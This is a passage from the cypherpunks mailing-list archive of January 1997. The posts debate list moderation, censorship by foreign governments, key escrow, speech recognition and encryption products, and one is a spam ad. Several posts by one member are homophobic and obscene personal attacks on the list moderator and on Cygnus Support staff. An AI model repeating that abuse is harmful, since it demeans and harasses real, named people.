a job or else they really believe what they are doing. Our government is NOT
some ideal or non-real entity, despite how many citizens may rail about it in 
that manner. It just don't make it so.

Accept and deal with your schizophrenic tendencies and help solve this
national problem we face. Let's try to solve it now so that our
grandchildren won't have to fight this fight again.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 22 Jan 1997 17:25:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Armenians want to know...
In-Reply-To: <7E1ABE2475@fsaua.aua.am>
Message-ID: <3VLy1D111w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachalian sure gets around...

>From AARARATY@aua.am  Wed Jan 22 07:01:23 1997
>Received: by bwalk.dm.com (1.65/waf)
>	via UUCP; Wed, 22 Jan 97 07:30:15 EST
>	for AARARATY@aua.am
>Received: from fsaua.aua.am (fsaua.aua.am [10.1.0.3]) by ararat.aua.am (8.6.12/8.6.12) with ESMTP id PAA08515 for <cismap@dm.com>; Wed, 22 Jan 1997 15:24:30 +0400
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>From: "Ara Araratyan" <AARARATY@aua.am>
>Organization:  American University of Armenia
>To: cismap@dm.com
>Date:          Wed, 22 Jan 1997 15:07:36 +0400
>Subject:       Request For Information
>Priority: normal
>X-Mailer: Pegasus Mail v3.22
>Message-Id: <7E1ABE2475@fsaua.aua.am>
>
>Dear Sir,
>
>If it is not hard for you, please, send me more information about
>your organization.
>
>Sincerely,
>Ara Araratyan




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Wed, 22 Jan 1997 01:09:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Commerical applications (was: Development and validation (fwd)
Message-ID: <19970122090827.7572.qmail@suburbia.net>
MIME-Version: 1.0
Content-Type: text/plain


>From owner-freebsd-hackers@freefall.freebsd.org Wed Jan 22 09:05:30 1997
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From: Gary Roberts <gdr@ajax.wcs.uq.edu.au>
Message-Id: <199701220818.SAA11281@ajax.wcs.uq.edu.au>
Subject: Re: Commerical applications (was: Development and validation
To: jkh@time.cdrom.com (Jordan K. Hubbard)
Date: Wed, 22 Jan 1997 18:18:42 +1000 (EST)
Cc: hackers@FreeBSD.ORG
In-Reply-To: <1045.853896142@time.cdrom.com> from "Jordan K. Hubbard" at Jan 21, 97 05:22:22 pm
Organisation: The University of Queensland
Phone: +617 3844 0400
Reply-To: gdr@wcs.uq.edu.au
X-Mailer: ELM [version 2.4 PL24]
Sender: owner-hackers@FreeBSD.ORG
X-Loop: FreeBSD.org
Precedence: bulk

Jordan K. Hubbard writes:

> But that doesn't even raise the biggest issue, which is:
> 
> > 	Freddy Kruger (Kruger@ElmStreet.org) has submitted the
> > 	following policy topic for discussion:
> > 
> > 	> FreeBSD should move from a.out to ELF.
> > -------------------------------------------------------------------------
> > 	[ ... various amounts of discussion for 5 days ... ]
> 
> Freddy raises the issue and 10 people vote on it, 7 feeling ELF-ish
> enough that the motion "passes."
> 
> Now what?  We've got this as a supposed piece of "FreeBSD Policy" now
> and users will surely expect it to be implemented or there wouldn't be
...

Actually, I think you'll find he was proposing a two stage process
where the above example only allows a further vote to be taken as to
whether or not it should become `policy'.  This second stage is where
you spend your vote tokens if you want to stop something passing.

You are really alluding to the possibility of things `passing' due to
apathy of the vast majority.  That could be easily fixed.  I imaging
that people with `vote tokens' have them because they are registered
as `adherents' to the FreeBSD religion.  The Votebot could send each
adherent a re-registration slip, say every three months.  No reply
means you are automatically removed from the adherents list and your
voting rights disappear.  You can easily re-instate yourself at any
time and your previous vote tokens (if any) are then restored.
In this way you trim out people who have lost the religion.

At the first stage of voting, a decision to have a real vote on a
policy change will *only* be made if (a) a significant fraction of
adherents take part in the vote AND (b) there is a majority of `yes'
over `no'.  That way, if there is general apathy, the thing dies.

At the second `real vote' stage, you must then decide whether to
spend your vote tokens.  Once again, things `pass' only if a quorum
is involved and there is a majority of `yes' over `no' votes.
The required quorum could be quite different for the first and
second stages of voting.  For example, the quorum to decide whether
or not to put things to a vote could be set at say 20% which would
not stifle the process but the quorum to actually change policy
could be say 40 - 50% to make sure that a vocal minority couldn't
`roll' the silent majority.

Terry did offer to implement the voting system.  Why not take
him up on his offer with the first question to be decided being:-

Q. Should changes in FreeBSD policy be made by an auto-voting system?

and if you get a `yes' on that then the second could be:-

Q. Does the Emperor have some clothes after all??  :-).

Seriously, it might be useful to have the user community vote on
important policy issues (like a.out versus ELF) knowing that there is
really no binding commitment on volunteers to do anything if it
doesn't suit the volunteers.  I'm sure everyone really does understand
and accept that.  It would also be useful to kill off discussion that
has exceeded its use-by date (like this thread) by putting it to a
vote and then getting on with more useful things.

All the above is, of course, IMHO.

Cheers,
-- 
Gary Roberts  (gdr@wcs.uq.edu.au) (Ph +617 3844 0400  Fax +617 3844 0444)
4th Floor, South Bank House, 234 Grey St, South Bank  QLD 4101  Australia.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Tue, 21 Jan 1997 23:25:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Keyword scanning/speech recognition
Message-ID: <85391794600049@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


I've found another collection of references on speech scanning/recognition, the
February 1989 CACM, p.193, contains 38 references going back to 1980.  It'd be
an interesting exercise for anyone with access to a large library to trace back
through these (some of them look promising, like a 1980 book "Trends in Speech
Recognition" from which a number of references are taken) to see how far back
you can go and at what point certain things became feasible.  The CACM
references would be a good starting point for a search.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 22 Jan 1997 18:35:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fascist censorship
Message-ID: <82oy1D117w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I notice that both my highly crypto-relevant, flame-free article and
Igor Chudov's response to it were rejected by the fascist moderator
Sandfart and showed up immediately on the cypherpunks-flames address.

Apparently Sandfart automatically rejects any submissions with my name
in them. Or he's already dead from AIDS and has been replaced by a 'bot.

I also notice that John Gilmore's employees from Cygnus Support
are flaming me on sci.crypt and accusing me of homophobia.

Please help expose Cygnus Support as a homosexual fraud.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: afc@furnituredirect.com
Date: Wed, 22 Jan 1997 21:05:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Furniture Catalog
Message-ID: <199701230513.VAA02923@server.ardennet.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.furnituredirect.com - Advanced Furnishing Concepts
We are the Internets largest furniture retailer. With thousands of items to choose from,
you're sure to find just what your looking for in a short time. Our on-line catalogs are
designed to be very simple to browse. No complicated menus, frames or other
complexities, just a simple format to get you right to where you want to go. Secure
Ordering for your protection, or call us at 1-800-407-8273 to order.
REGISTER FOR MONTHLY CONTEST ! WIN $100 !
Reply Remove if you wish.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 22 Jan 1997 18:30:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fuck Sandy Sandfart
Message-ID: <0mPy1D118w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


This is a test.  This is only a cocksucking test.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hjk <hjk@ddorf.rhein-ruhr.de>
Date: Wed, 22 Jan 1997 12:25:18 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <32E45AA6.330A@gte.net>
Message-ID: <Pine.LNX.3.95.970122145822.5838F-100000@alien.ddorf.rhein-ruhr.de>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 20 Jan 1997, Dale Thorn wrote:

> hjk wrote:
....
> > I wonder who is so brainless, not to understand what's going on.
> > Do you really think the subscribers are pure Idiots?
> 
> Well, Heinz.  You live in a country full of people, ordinary people,
> variously called the hoi polloi, the sheeple, the unwashed masses,
> and other interesting names.
> 
... 
> Now whatever you think of your fellow citizens, or even those of the
> USA (to name an example), I'm sure is OK on whatever basis you apply
> your judgement.  But I guarantee you that the people on the cypherpunks
> list are no more or less intelligent than the people who vegetate in
> front of their TV sets every day, right there where you live, in all
> probability. If you believe that your fellow citizens vote intelligently,
> then I respond that cypherpunks vote intelligently.  What do you think?
> 

Well, I thought cypherpunks claim to be elite.

Heinz-Juergen Keller
hjk@ddorf.rhein-ruhr.de





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 22 Jan 1997 19:16:36 -0800 (PST)
To: Carl Ellison <cme@cybercash.com>
Subject: Re: David Kahn advocates GAK
In-Reply-To: <199701230027.QAA01813@toad.com>
Message-ID: <Pine.GSO.3.95.970122221214.22446C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


It is indeed a shame, and Carl's response was (of course) excellent.

The last chapter of the revised edition of the Codebreakers is reasonably
pro-government in the way it lays out the issue of key escrow, so perhaps
we shouldn't be surprised. (I'm told that David's sojourn at the NSA
museum was unexciting;  they wouldn't tell him much.) :) 

-Declan



On Wed, 22 Jan 1997, Carl Ellison wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> It might also be that David's year long sabatical at NSA's crypto museum 
> which recently ended put him in touch with people who believe in GAK.
> 
> I found it interesting that he noted the argument that each additional
> day of government access is a good thing.  This is the kind of belief
> we know that NSA holds -- a.k.a. "not on my watch" -- but I haven't seen
> it publicly admitted before.
> 
>  - Carl
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> 
> iQCVAwUBMuZ35lQXJENzYr45AQEcfwQAqMftG0DXn1nr6faA6IHeAtqSXYanwnZb
> DiwqppU4nJqPtIvtFw8eOVVwyYCzIv046dFtwR2mk8HeL1v8I3R2sWm7waknFjlm
> TM84+vLamlVnBNPUAXRYOrFiEhPQm/iitR4GVrcga9mHJ+vrI38XQGzi0lxdg310
> pWjq5Fxahag=
> =xhF7
> -----END PGP SIGNATURE-----
> 
> 
> +------------------------------------------------------------------+
> |Carl M. Ellison       cme@acm.org    http://www.clark.net/pub/cme |
> |   PGP 2.6.2: 61 E2 DE 7F CB 9D 79 84  E9 C8 04 8B A6 32 21 A2    |
> +-Officer, officer, arrest that man. He's whistling a dirty song.--+
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 22 Jan 1997 22:17:33 -0800 (PST)
To: hjk <hjk@ddorf.rhein-ruhr.de>
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <Pine.LNX.3.95.970122145822.5838F-100000@alien.ddorf.rhein-ruhr.de>
Message-ID: <32E70250.7D91@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


hjk wrote:
> On Mon, 20 Jan 1997, Dale Thorn wrote:
> > hjk wrote:

> > Now whatever you think of your fellow citizens, or even those of the
> > USA (to name an example), I'm sure is OK on whatever basis you apply
> > your judgement.  But I guarantee you that the people on the cypherpunks
> > list are no more or less intelligent than the people who vegetate in
> > front of their TV sets every day, right there where you live, in all
> > probability. If you believe that your fellow citizens vote intelligently,
> > then I respond that cypherpunks vote intelligently.  What do you think?

> Well, I thought cypherpunks claim to be elite.

Most of the erstwhile elite types do the ordinary things in a quite
ordinary way.  Get dressed, eat, collect and send e-mail, and so on.

The un-ordinary things (for example) are the thought processes which
take place while typing out a post.  Those thought processes don't
generally intersect directly with the mundane things such as operating
the computer, unless the operations themselves are unusual and demand
the full attention of the person involved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 22 Jan 1997 22:23:55 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701230025.SAA05664@manifold.algebra.com>
Message-ID: <32E703E4.4E9C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dr.Dimitri Vulis KOTM wrote:
> > Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> But think about this: suppose there is a couple, bob@household.com,
> and alice@household.com. Suppose that Rev. Mallory does not like bob.
> Mallory forges a lot of emails like "I can still taste your sperm
> on my lips", that appear to originate from Cindy@phonesex.org.
> Then, promptly, Mallory sends an anonymous alert to alice@household.com,
> warning her about naughty email activities of bob. Alice gets mad at him
> and divorces him.
> How would bob protect himself against such developments?

Frame-ups are as old as time.  The ones that work the best are those
that are the most believable.  O.J., for example.  Unless Alice is
unusually flaky or paranoid, she'll consider her options against the
time she has invested in Bob.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Wed, 22 Jan 1997 22:39:58 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: crypto-relevant
Message-ID: <199701230639.WAA02474@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
>To: cypherpunks@toad.com
>Subject: Fascist censorship
>Sender: owner-cypherpunks-unedited@toad.com
>Precedence: bulk
>I notice that both my highly crypto-relevant, flame-free article and
>Igor Chudov's response to it were rejected by the fascist moderator

Yeah, that's kinda weak!  I have found a few other posts in the 
'Error' list that may not have belonged there.  Fascist?  I'm not 
sure that's exactly what we are dealing with here.  Hidden agendas, 
yes.

>Sandfart and showed up immediately on the cypherpunks-flames address.
>
>Apparently Sandfart automatically rejects any submissions with my name
>in them. Or he's already dead from AIDS and has been replaced by a 'bot.

Now, Dr., that's a little bit insensitive.  AIDS is a pretty tragic 
illness.

>
>I also notice that John Gilmore's employees from Cygnus Support
>are flaming me on sci.crypt and accusing me of homophobia.

I'll have to start reading that group, to check up on the agents 
further.

>
>Please help expose Cygnus Support as a homosexual fraud.
>
>---

And I thought this next part was pretty funny.  Test test is this 
thing on?

>
>From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
>To: cypherpunks@toad.com
>Subject: Fuck Sandy Sandfart
>Sender: owner-cypherpunks-unedited@toad.com
>Precedence: bulk
>This is a test.  This is only a cocksucking test.



=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 22 Jan 1997 22:50:59 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: YEEHAW! Tobacco argument heats up in AZ
In-Reply-To: <199701230615.XAA06580@infowest.com>
Message-ID: <32E70A37.FC5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
> summary: AZ AG filed for an injunction in the public interest to stop
> the sale of tobacco in AZ.  tobacco company response claimed he was
> infringing on legislative rights...   full story is below.

> ::      PHOENIX, Arizona (Reuter) - The tobacco industry filed
> :: motions on Tuesday in a bid to dismiss the Arizona Attorney
> :: General's law suit which seeks to ban the sale of tobacco in the
> :: state.  Lawyers for two of the defendants, Brown & Williamson
> :: Tobacco Corp. and Philip Morris Cos Inc. (MO.N), said in a
> :: statement the proposed ban would eliminate tax revenue from the
> :: sale of tobacco which is used to fund healthcare and education
> :: programs statewide.

The Indians in Arizona have some special tax breaks on cigs, as a
"sovereign nation" treaty deal or something, yes?  Would this ban
create any interesting opportunities?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 22 Jan 1997 21:32:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ADSL (Was: GSM technology
In-Reply-To: <9700228539.AA853956802@smtplink.alis.ca>
Message-ID: <32E70D8F.4CF8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> 
> jbugden@smtplink.alis.ca wrote:
> > A previous poster mentioned that because of the copper wire restriction, that
> > they may deploy first in older centers. This would appear to be the case, since
> > a Canadian telco (Sasktel) is offering ADSL in Saskatoon for 60$/month with
> > unlimited internet access. Saskatoon falls into this category - in my opinion.
> >
> > I was only is SK briefly over New Years, but perhaps Toto can fill in details.
> 
> James,
>   SaskTel has, for the most part, always had a monopoly on the telephone
> business in Saskatchewan, and used this to keep the phone rates fairly
> high. On the other hand, they also used much of the money to position
> themselves to keep their monopoly by investing heavily in the newest
> technologies.
>   As a result, they have a lot of fiber-optic, etc., even in the
> boondocks, but they also soaked those people $ 6.00 hour for
> InterNet access, until Sympatico came in with a competitive rate
> of less than $ 1.00/hour, and then they stopped clipping the
> sucker/citizens.
>   SaskTel left the 'upgrading' of the larger centers to last, and
> as a result, their 'old' technology seems to be ironically beneficial
> to them in being able to offer ADSL in Saskatoon, Regina, and a couple
> of other centers.
> 
> Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 22 Jan 1997 20:58:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701230505.XAA08921@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 22 Jan 1997 23:08:41 -0500 (EST)
> From: "Mark M." <markm@voicenet.com>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> On Wed, 22 Jan 1997, Jim Choate wrote:
> 
> > 'We' shouldn't, it is their own country and it is up to their populace to
> > stop it. Do you really want Singapore or China having a say in how we run
> > our web? I certainly don't, and won't support any move to force any
> > particular view on them.
> 
> I don't want China or Singapore to have a say in how the web is run which is

There is no 'the web'. I run a Internet site which is connected 24 hours a
day at my expence which contains a web site. If you think that is 'your' web
then drag your ass to Austin, TX. and start paying the $600 of bills each month
for 'your' web. Quit thinking that what you have and want is what everyone
else has or wants. Grow up. The goal is to keep THEM from bothering YOU, not
the otherway around, they will take care of that using the same tools and
techniques you do.

> exactly why I would support any effort to make their filtering systems useless.
> What I put on my web page is my business and I can change the location of the

And you don't have a right to tell them what to do with their computers or
their citizens.

> URL as many times as I want and try to make it as difficult as possible to
> filter it.  These countries have no say in whether or not I can do this.  If

And you should have no say in what they do with their resources.

> they want to censor their Internet feed, that's their problem and I'm under no
> obligation to make it easy for them.

And their under no obligation to let you run around and force your views on
them anymore than you would accept that sort of behaviour from them.

Wake up, what goes around, comes around.

> If it's forced upon the people, it's not a choice.

Which people? Who is doing the forcing? If Singapore citizens are content to
let Singapore officials filter their newsfeeds or whatever that is
Singapores business, not yours. It acts as a concrete real-world object
model on how NOT to do it here, nothing else. Whether you like it or not
both people and governments have a fundamental right to make mistakes. It
comes with the territory. Loose this fantasy you have that there is one way
to run the world, there isn't. People are entirely too diverse for any
single view to rule for any length of appreciable time irrespective of how
much force might be used to promulgate it.

>  Ultimately, the people can
> abolish the government if it becomes tyrannical, but not without a lot of lives
> being lost.  I'd much rather try to make sure that people in these countries
> have free access to information than watch people getting crushed by tanks.

Who made you responsible for them? If you are responsible for them then you
are responsible for me? Not in your wildest wet dream junior. You simply
aren't that important in the scheme of things.

You can't have one without the other. The tree of liberty has to be watered
with blood. Your position is that as long as it isn't your blood then it is
ok. Other people have the same right. Personaly, I don't like the idea of
other people deciding that it is time to spill my blood to water their tree.
The point of the exercise, left up to the student to resolve, is to avoid
this entire scenario, not shift the blame to some other entity.

> > You don't like it, don't live there and don't try to
> > call there. You or I have no more right to be on a Chinese or Singapore
> > Internet than they have in coming into yours or my home without an
> > invitation.
> 
> These countries want the benefits of being connected to the Internet without
> the burdens of the citizens having free access to information.  It just doesn't
> work that way. 

It works whatever way the people doing it want it to run.

Let me say it again,

GOVERNMENTS ARE PEOPLE MAKING DECISIONS ABOUT PEOPLE, INCLUDING THEMSELVES,
WHICH THEY BELIEVE ARE IN THEIR BEST INTEREST. IF IT DOESN'T FIT WITH YOUR
PARTICULAR IMAGE OF WHAT 'BEST INTEREST' IS, TOUGH SHIT.

> They can pull the plug if they want.  If they don't, then they
> have no right to complain about how people are smuggling subversive information
> into their respective countries.

Then we have no right to complain about Columbian drug cartels, Russian
contraband nuclear weapons, sarin nerve gas promulaged by Japanese religious
zealots, etc.

Let me say this again,

A FUNDAMENTAL RIGHT OF ALL LIVING BEINGS IS TO PROTECT THEMSELVES THE BEST
WAY THEY SEE FIT AGAINST A PERCEIVED THREAT TO THEIR CONTINUED EXISTANCE. IT
MAKES NO DIFFERENCE IN THE SHORT TERM IF THAT THREAT IS REAL OR NOT.

>  If the information was "uninvited", then
> nobody would be downloading it or accessing it anyway.

This is silly and completely misleading.

> Countries that want to censor their internet connections have the choice of
> either facing extreme economic difficulties as a result of not being connected
> to the Internet, or giving their people access to information that the
> government doesn't want these people to access.  Either way, it will force
> these countries to change in some way.  I think most of them will eventually
> settle for the latter choice.  Allowing these countries to censor their
> connections will result in violence that could otherwise be avoided.

Really? Where is your object model? Seems like we get in a situation where
we are using violence against people with the reason being we are protecting
them against violence.

Now THAT sounds like some sort of neo-Nazi bullshit. You should apply for
work at the DEA, you would pass their psych screens with flying colors.

I have three quotes you might do well to ponder while you plan your next
over-throw...


                       "Study nature, not books"

                                  Louis Agassiz


           "The best lack all conviction, while the worst are full
            of passionate intensity."

                                                 Yeats

                              "You are
                               What you do
                               When it counts"

                                      The Masao



                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 22 Jan 1997 20:04:17 -0800 (PST)
To: cypherpunks <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701221210.EAA23236@toad.com>
Message-ID: <Pine.LNX.3.95.970122224825.2011B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 22 Jan 1997, Jim Choate wrote:

> 'We' shouldn't, it is their own country and it is up to their populace to
> stop it. Do you really want Singapore or China having a say in how we run
> our web? I certainly don't, and won't support any move to force any
> particular view on them.

I don't want China or Singapore to have a say in how the web is run which is
exactly why I would support any effort to make their filtering systems useless.
What I put on my web page is my business and I can change the location of the
URL as many times as I want and try to make it as difficult as possible to
filter it.  These countries have no say in whether or not I can do this.  If
they want to censor their Internet feed, that's their problem and I'm under no
obligation to make it easy for them.

> Bull, the web was conceived so physicist and other researchers could share
> data in a easily digestible format. The web and technology in general have
> no more ethics or morality intrinsicly in them than a 5/8" open end
> wrench. Blocking and filtering are an expression of human choice and the
> implimentation thereof.

If it's forced upon the people, it's not a choice.  Ultimately, the people can
abolish the government if it becomes tyrannical, but not without a lot of lives
being lost.  I'd much rather try to make sure that people in these countries
have free access to information than watch people getting crushed by tanks.

> You don't like it, don't live there and don't try to
> call there. You or I have no more right to be on a Chinese or Singapore
> Internet than they have in coming into yours or my home without an
> invitation.

These countries want the benefits of being connected to the Internet without
the burdens of the citizens having free access to information.  It just doesn't
work that way.  They can pull the plug if they want.  If they don't, then they
have no right to complain about how people are smuggling subversive information
into their respective countries.  If the information was "uninvited", then
nobody would be downloading it or accessing it anyway.

Countries that want to censor their internet connections have the choice of
either facing extreme economic difficulties as a result of not being connected
to the Internet, or giving their people access to information that the
government doesn't want these people to access.  Either way, it will force
these countries to change in some way.  I think most of them will eventually
settle for the latter choice.  Allowing these countries to censor their
connections will result in violence that could otherwise be avoided.



Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 22 Jan 1997 23:12:45 -0800 (PST)
To: Amanda Walker <amanda@intercon.com>
Subject: Re: Keywords scanning/speech recognition
In-Reply-To: <MAPI.Id.0016.00656c73657920204146354330303030@MAPI.to.RFC822>
Message-ID: <32E70F3F.4F9B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Amanda Walker wrote:
> John Kelsey <kelsey@email.plnet.net> wrote:

> This may or may not be relevant, but I was a math major during an NSA college-
> recruitment drive in the early 1980s.  As part of the "come work for the NSA"
> packet they were giving out, they had a sample issue of the NSA internal
> linguistics journal.  One of the articles concerned a system called DYPTRACK,
> which tracked the pitch of a digitized voice signal to an impressive degree of
> accuracy.  This would imply that the NSA, at least, had invested considerable
> resources into digital speech analysis as early as the late 1960s or early
> 1970s (since by 1980 DYPTRACK was un-sensitive enough to be described in
> college recruitment material).

I have a CD today (used to be an LP in the late 1970's) of Enrico
Caruso arias, digitally processed thru something called Stockham/
Soundstream digital process, circa mid-late 1970's.

They took a number of samples of a modern (1970's) tenor's singing
(someone whose voice had similar characteristics to Caruso's) and had
the computer run it against the original Caruso recordings in an
attempt to subtract out extraneous noise, resonances, and so on.

The process helped somewhat, making the voice seem closer intead of
somewhere a couple of rooms over, but the essential quality of the
mechanically-recorded sound was still there, i.e., very dull and not
at all life-like.

They were supposed to release a lot more of this stuff, and they did
some, but major interest was never there, and I haven't heard any more
about further research in the intervening years, although I'll bet it's
gone way beyond where it was.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Wed, 22 Jan 1997 20:17:16 -0800 (PST)
To: dccp@eff.org
Subject: P.S. David Kahn's editorial today
Message-ID: <3.0.32.19970122231547.00bc82f0@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I just sent the following P.S. to newsday.com

			----------------------

There is another reason to have cellular phones which encrypt only the 
over-the-air portion of a call, besides the fact that we can leave normal 
wiretap access procedures in place and not surrender civilian crypto keys to 
the government.

If I have a cellular phone which encrypts over the air (between the phone 
and the base station) and I call you, while you have a normal wired phone, 
our call is protected by cryptography from interception off the air.

If I use an AT&T Clipper-style cellular phone, as David suggested, and I 
call you on a normal wired phone, we can't encrypt the conversation and it 
is vulnerable to interception.  The protection works *only* if both parties 
have encrypting phones while interoperate.

  - Carl

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+------------------------------------------------------------------+
|Carl M. Ellison       cme@acm.org    http://www.clark.net/pub/cme |
|   PGP 2.6.2: 61 E2 DE 7F CB 9D 79 84  E9 C8 04 8B A6 32 21 A2    |
+-Officer, officer, arrest that man. He's whistling a dirty song.--+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 22 Jan 1997 23:27:10 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <199701230633.AAA00525@manifold.algebra.com>
Message-ID: <32E712A6.6596@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > hjk wrote:
> > > On Mon, 20 Jan 1997, Dale Thorn wrote:
> > Most of the erstwhile elite types do the ordinary things in a quite
> > ordinary way.  Get dressed, eat, collect and send e-mail, and so on.
> > The un-ordinary things (for example) are the thought processes which
> > take place while typing out a post.  Those thought processes don't
> > generally intersect directly with the mundane things such as operating
> > the computer, unless the operations themselves are unusual and demand
> > the full attention of the person involved.

> So what?

The so what is that hjk believed that since cypherpunks were "elite",
it followed that they would notice certain administrative messages more
than non-elite people, and also remember those messages better.

I had no contention with the remember-better part, assuming that was
stated somewhere, but my argument is that greater intelligence does
not necessarily lead to paying better attention to mundane everyday
things like administrative messages and notices. The specific example
was whether most cypherpunks subscribers would take more than momentary
notice of the new list arrangements, and whether they would consciously
think about whether they should change their status (subscription), and
if so, why.  My contention is that most would not give it any serious
amount of attention.  This is no different IMO than whether erstwhile
"intelligent" people pay greater attention to road signs while driving
than people of average mental power do.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Wed, 22 Jan 1997 20:49:04 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Encrypting ZIP drives?
Message-ID: <199701230448.XAA28286@relay1.shore.net>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green <shamrock@netcom.com> who is usually answering questions, wrote:

>>>I am looking for a transparent (strong) encryption of ZIP drives.
>>>Any advice would be appreciated.
<snip>

>Parallel on Win95.

        Hi Lucky,

        RSA has got their Win95 version of SecurPC.  That's 128-bit RC4
encryption; maybe 10X the speed of DES.  You could encrypt your zip data
from Explorer either on demand, or automatically upon exiting WIN95. (It
auto-decrypts on startup.)  SecurPC doesn't  yet have transparent (fully
background) crypto, but given the market pressures, it obviously won't be
long in coming. 

        SecurPC does have a number of other unusual features that might
offset the lack of transparency.  My favorite: At least until the next
version of ERA;-) RSA's SecurPC permits you to ship data over the US borders
encrypted with 128-bit RC4 in a self-extracting file which can be opened by
anyone, anywhere --  with the same OS as the sender, and the right
(one-time?) password -- even if they don't have a copy of SecurPC.   

         The key, passed out of band, is certainly not up to PKC
standards... but for occasional connections, if you duck the dictionary
attack, it looks pretty damn sturdy. One-way symmetric-- kinda neat!
(Anyone know how it really works?  I got a copy of the v1 user's manual from
SDTI, where I do a lot of contract work -- but it doesn't really explain the
split of  functions. I'll have to ask.)

       Suerte,
                        _Vin





